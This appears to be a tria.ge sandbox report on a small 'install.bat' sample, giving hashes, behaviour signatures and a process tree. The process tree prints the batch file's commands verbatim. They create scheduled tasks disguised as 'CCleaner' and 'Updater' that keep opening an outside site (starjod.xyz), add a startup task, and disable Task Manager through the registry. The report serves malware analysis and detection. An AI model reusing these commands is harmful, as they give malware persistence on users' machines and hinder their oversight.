Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
1799s -
max time network
1799s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
03/07/2024, 23:11
Static task
static1
Behavioral task
behavioral1
Sample
install.bat
Resource
win7-20240611-en
Behavioral task
behavioral2
Sample
install.bat
Resource
win10-20240404-en
Behavioral task
behavioral3
Sample
install.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral4
Sample
install.bat
Resource
win11-20240508-en
General
-
Target
install.bat
-
Size
568B
-
MD5
e861a08036b9eb5f216deb58e8a7934d
-
SHA1
5f12dd049df2f88d95f205a4adc307df78ac16ee
-
SHA256
e8315164849216f4c670c13b008e063da2176efb5d08939caa321e39a33035eb
-
SHA512
7ea2fd3b085bd4b3e27d4dda36e079ec8910173cc2b33ccd06698051eb7d5f2818ed9000761d1fc44e354c06d015feb16e77958dab8a3969a0cee2fd453ca0c9
Malware Config
Signatures
-
Disables Task Manager via registry modification
-
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133645227664664243" chrome.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 3592 reg.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2012 schtasks.exe 860 schtasks.exe 3212 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2860 chrome.exe 2860 chrome.exe 2164 chrome.exe 2164 chrome.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 14 IoCs
pid Process 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe Token: SeShutdownPrivilege 2860 chrome.exe Token: SeCreatePagefilePrivilege 2860 chrome.exe -
Suspicious use of FindShellTrayWindow 26 IoCs
pid Process 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe -
Suspicious use of SendNotifyMessage 24 IoCs
pid Process 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe 2860 chrome.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3436 wrote to memory of 2012 3436 cmd.exe 89 PID 3436 wrote to memory of 2012 3436 cmd.exe 89 PID 3436 wrote to memory of 3592 3436 cmd.exe 90 PID 3436 wrote to memory of 3592 3436 cmd.exe 90 PID 3436 wrote to memory of 860 3436 cmd.exe 91 PID 3436 wrote to memory of 860 3436 cmd.exe 91 PID 3436 wrote to memory of 3212 3436 cmd.exe 92 PID 3436 wrote to memory of 3212 3436 cmd.exe 92 PID 2860 wrote to memory of 3112 2860 chrome.exe 105 PID 2860 wrote to memory of 3112 2860 chrome.exe 105 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 1352 2860 chrome.exe 106 PID 2860 wrote to memory of 2416 2860 chrome.exe 107 PID 2860 wrote to memory of 2416 2860 chrome.exe 107 PID 2860 wrote to memory of 1292 2860 chrome.exe 108 PID 2860 wrote to memory of 1292 2860 chrome.exe 108 PID 2860 wrote to memory of 1292 2860 chrome.exe 108 PID 2860 wrote to memory of 1292 2860 chrome.exe 108 PID 2860 wrote to memory of 1292 2860 chrome.exe 108 PID 2860 wrote to memory of 1292 2860 chrome.exe 108 PID 2860 wrote to memory of 1292 2860 chrome.exe 108 PID 2860 wrote to memory of 1292 2860 chrome.exe 108 PID 2860 wrote to memory of 1292 2860 chrome.exe 108 PID 2860 wrote to memory of 1292 2860 chrome.exe 108 PID 2860 wrote to memory of 1292 2860 chrome.exe 108 PID 2860 wrote to memory of 1292 2860 chrome.exe 108 PID 2860 wrote to memory of 1292 2860 chrome.exe 108 PID 2860 wrote to memory of 1292 2860 chrome.exe 108 PID 2860 wrote to memory of 1292 2860 chrome.exe 108 PID 2860 wrote to memory of 1292 2860 chrome.exe 108 PID 2860 wrote to memory of 1292 2860 chrome.exe 108 PID 2860 wrote to memory of 1292 2860 chrome.exe 108 PID 2860 wrote to memory of 1292 2860 chrome.exe 108 PID 2860 wrote to memory of 1292 2860 chrome.exe 108 PID 2860 wrote to memory of 1292 2860 chrome.exe 108 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\install.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3436 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "Cleaner" /tr "C:\Users\Admin\AppData\Local\Corporation\File\RemoteExecuteScriptSilent.exe" /sc onstart /delay 0005:002⤵
- Scheduled Task/Job: Scheduled Task
PID:2012
-
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /f /v DisableTaskMgr /t REG_DWORD /d 000000012⤵
- Modifies registry key
PID:3592
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /SC MINUTE /MO 10 /TN "CCleaner" /TR "\"C:\Program Files\Google\Chrome\Application\chrome.exe\" http://starjod.xyz/Website.php" /F2⤵
- Scheduled Task/Job: Scheduled Task
PID:860
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /SC MINUTE /MO 11 /TN "Updater" /TR "\"C:\Program Files\Google\Chrome\Application\chrome.exe\" http://starjod.xyz/Website.php" /F2⤵
- Scheduled Task/Job: Scheduled Task
PID:3212
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4404,i,16710585221322798697,8586257254049248207,262144 --variations-seed-version --mojo-platform-channel-handle=4252 /prefetch:81⤵PID:3540
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=3832,i,16710585221322798697,8586257254049248207,262144 --variations-seed-version --mojo-platform-channel-handle=4776 /prefetch:81⤵PID:696
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://starjod.xyz/Website.php1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2860 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffdb251ab58,0x7ffdb251ab68,0x7ffdb251ab782⤵PID:3112
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1712 --field-trial-handle=1932,i,13309483619883604639,17997755064237498333,131072 /prefetch:22⤵PID:1352
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1932,i,13309483619883604639,17997755064237498333,131072 /prefetch:82⤵PID:2416
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2248 --field-trial-handle=1932,i,13309483619883604639,17997755064237498333,131072 /prefetch:82⤵PID:1292
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3004 --field-trial-handle=1932,i,13309483619883604639,17997755064237498333,131072 /prefetch:12⤵PID:1816
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3024 --field-trial-handle=1932,i,13309483619883604639,17997755064237498333,131072 /prefetch:12⤵PID:4312
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4392 --field-trial-handle=1932,i,13309483619883604639,17997755064237498333,131072 /prefetch:12⤵PID:1428
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=4452 --field-trial-handle=1932,i,13309483619883604639,17997755064237498333,131072 /prefetch:12⤵PID:2024
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --mojo-platform-channel-handle=3224 --field-trial-handle=1932,i,13309483619883604639,17997755064237498333,131072 /prefetch:12⤵PID:1540
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=3528 --field-trial-handle=1932,i,13309483619883604639,17997755064237498333,131072 /prefetch:12⤵PID:4360
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=3320 --field-trial-handle=1932,i,13309483619883604639,17997755064237498333,131072 /prefetch:12⤵PID:396
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4908 --field-trial-handle=1932,i,13309483619883604639,17997755064237498333,131072 /prefetch:82⤵PID:400
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5156 --field-trial-handle=1932,i,13309483619883604639,17997755064237498333,131072 /prefetch:82⤵PID:5060
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5380 --field-trial-handle=1932,i,13309483619883604639,17997755064237498333,131072 /prefetch:82⤵PID:4700
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=2708 --field-trial-handle=1932,i,13309483619883604639,17997755064237498333,131072 /prefetch:12⤵PID:4308
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=5392 --field-trial-handle=1932,i,13309483619883604639,17997755064237498333,131072 /prefetch:12⤵PID:1012
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --mojo-platform-channel-handle=3720 --field-trial-handle=1932,i,13309483619883604639,17997755064237498333,131072 /prefetch:12⤵PID:4600
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --mojo-platform-channel-handle=2348 --field-trial-handle=1932,i,13309483619883604639,17997755064237498333,131072 /prefetch:12⤵PID:4388
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1672 --field-trial-handle=1932,i,13309483619883604639,17997755064237498333,131072 /prefetch:22⤵
- Suspicious behavior: EnumeratesProcesses
PID:2164
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --mojo-platform-channel-handle=4204 --field-trial-handle=1932,i,13309483619883604639,17997755064237498333,131072 /prefetch:12⤵PID:3180
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --mojo-platform-channel-handle=5360 --field-trial-handle=1932,i,13309483619883604639,17997755064237498333,131072 /prefetch:12⤵PID:1064
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --mojo-platform-channel-handle=4744 --field-trial-handle=1932,i,13309483619883604639,17997755064237498333,131072 /prefetch:12⤵PID:2536
-
-
C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"1⤵PID:3152
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://starjod.xyz/Website.php1⤵PID:3576
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffdb251ab58,0x7ffdb251ab68,0x7ffdb251ab782⤵PID:1816
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://starjod.xyz/Website.php1⤵PID:1660
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffdb251ab58,0x7ffdb251ab68,0x7ffdb251ab782⤵PID:4836
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
40B
MD5e646991f9b7863013f4543e5deea2d49
SHA17d3ab1c249b15c5bc5761baef819fa96b043539a
SHA2560cc277125b5bd55a7c42e32f351b5bce3ca6003f28bc0646db5bc6b9b5135c07
SHA5128b7b264f086ee2d1c1ec1199307d6511ce964890e84312a1c12c21a0a1fac24d6bf005a2ded820ecae3b51b58229a8ce724e98e40b03e1f93d3914948025a76f
-
Filesize
19KB
MD5055c39f1ead06724e540b3c0d877cead
SHA15d7ffdeb534b6bea5443838f9534fc6640ee1526
SHA2560305d258c756aeac531d72a410cc42d0ae302cb74a2d8b5dca2ee590b7f5b1d2
SHA5120e95c4c344e0f81be53dcf1c441525f10a8a231e39e3614912dbc14fc6b6575dbb68dd93f741b80c0da986270003b97b5adaceba996b734b1678150e8ce5dd62
-
Filesize
3KB
MD561eef8533e39167b6720c639df459c6a
SHA153186e92efa0143404e385a37183229ef5e0032a
SHA256f67f8e60295f5ab4a7b3244c803887e65fa3198c0b3043ac27581760ba244aa0
SHA51278447e7c05d2e595095ab374c3ab262ecd57e433a82d8074985abf34ada072f9359ee82f82aedf639efac5ea5e5d735bfa0804ad38be1e13577f26def53bbdee
-
Filesize
288B
MD5684e0a929c79b43e3c98a4b6b7c362b1
SHA12e88ab7c12f991ae50c92521259b8fc7ac0a07ee
SHA256f7d222dc7268521b5ba0b3c5566c0579bf83c88e20d1776720c3efd757a6147d
SHA512c44b50d7b63a096767e171a34881f679725ac1d4b4256338d53f03472bda3506c3ef6e5cf7609f9b4ad9bdac3f99a3b92a617fd0ad5466946703464a629b6c02
-
Filesize
816B
MD5baa1cc373356600ef1a0492b2cd799c0
SHA12626762ce660acd5da9e5793a01cdcfb6bc0b174
SHA256fe8bad9ad53d1990394effb56118cf604b177ad0d090b6fbe771db94404060e6
SHA512f3aff3f75cfec1a55e945b7fa7ec6ed022eb3a0e981c338073191fd9a7a995c92bd549c6ab14c3089acd05eea40d0ebf72b0e2037bb386bed6ee54ec813db177
-
Filesize
1KB
MD51498418455780965c9a8d07c383a9afb
SHA182dfd76d1e3bd9aef0068026b8ebc39e6fe684ca
SHA25602734894bd528e8e380162a2e27a40eca6d763f4e81db382a1db65bdeb2a8db5
SHA51293525ba199f6802cbf15b7b2bca287668d6419bdac56ebebc9a4ecd64cad4c05ec4959378e9a1b30d7f2db41715968ae26d2936c4a1a9de6cb98d69c88f76d98
-
Filesize
5KB
MD5c25a7e5e81e59b7da360e725ace92f2b
SHA1690220f6813f2546e8e4701c953797cfc3861f48
SHA256de5d1cd2bdd05fb7bfae109c62d91e4379fad650556ad8ff57560ca7b0037ea4
SHA512a2500d1117d9abb5a236823987944f22e03713bfe482b5280643d0635d9b4bc7ee26d59f50b779bf03fe62e3e2692226779edc2d221af8b6d20f7230a0412b34
-
Filesize
6KB
MD51916784a959beba351bbf99920154c8d
SHA1465953872f20ca31a8aabf9cfefb22ea6f99fcfc
SHA25667d3cf8f6672927f0cb4a5ce7b915f56776d7d741f817f24d18af601fe2e1b2b
SHA51229d3cf979b968748f3e13992bf2dcc87c102efa42d22b6cbdaf00ab3f3adb8d4fe7c2d20b66c69b402f79824b9e4dba7de77c6be7c46354cae338259d5b7d6b1
-
Filesize
6KB
MD59816a53ad7980bbfd6ecb75f755e833a
SHA16735cd5ea14850a489ed2fa48711381b51ffa0c2
SHA256d490c0ffeeb964dfe4b463cad23cb477ccc2e5f57075c37bbe6b29813ae6cd01
SHA5125129d5ac2864a44a36a1643a09556e2033d18998910f57a3bbc7b5fa6d02134d03cb237141bb44646ecf264c7a3a0fe95f62901d77e609015bdb4e814839b3d6
-
Filesize
2KB
MD5a6f3da37a354b4209583cd4ae44036d0
SHA102577f363fcde39519f0ebedfed6ce6e4ae0af03
SHA2560daf8a142b439e767c845f424fa4c04fd8999e6b4ae49a38003511e8bf0f71c3
SHA512384073e2c292a9a09748c627c3f050cffc6e8bf6585d2d604c3beeccecc02b430213c5d031cbffa2e4dfafc397bb6b37b8ac82a5cbc1972cbd932a0974a77d5a
-
Filesize
2B
MD5d751713988987e9331980363e24189ce
SHA197d170e1550eee4afc0af065b78cda302a97674c
SHA2564f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
SHA512b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
-
Filesize
356B
MD5cc147c705da1b148d45e90894a7b9670
SHA1f9dd291281bc1baa5dc105407715a19cbcc1e54d
SHA25653c24128db37b6866695949339bb2cd08fa877e529e5da0256ba2e6b7ad09601
SHA51239315a59afa824e836aaf37dd6f1ddb513b899cb3339e63ee0e4eb3b9c5acb19f34fc59bfbc21dc3c50bc877295033392490f9c64b25d75986705f8ca2e123ba
-
Filesize
1KB
MD59fe4479905b982de6a8e40649831a01a
SHA18ea25ff6e417dbe4577b1b2bd27343b2417e01f5
SHA256bfcf46d34bb2a865f344cc20b491a80a6a3896a90dcff6625f29988071ac51aa
SHA5125fd26354b1adefcd8fd11d6b227a50927e8c280bf22792b0e9b43fdd024d60340fc2be6193b238775e0de47443485c285756bb57baf4afaa56c72d03ae3369b2
-
Filesize
1KB
MD50764f38f84fc220774a42b9e5fff1996
SHA13b859b5c20120bfc58c9e479c832361016beb654
SHA256270e3fb9e9c34913ce8bc51067fa50e95f7f324d548a2d022729b2284037e63b
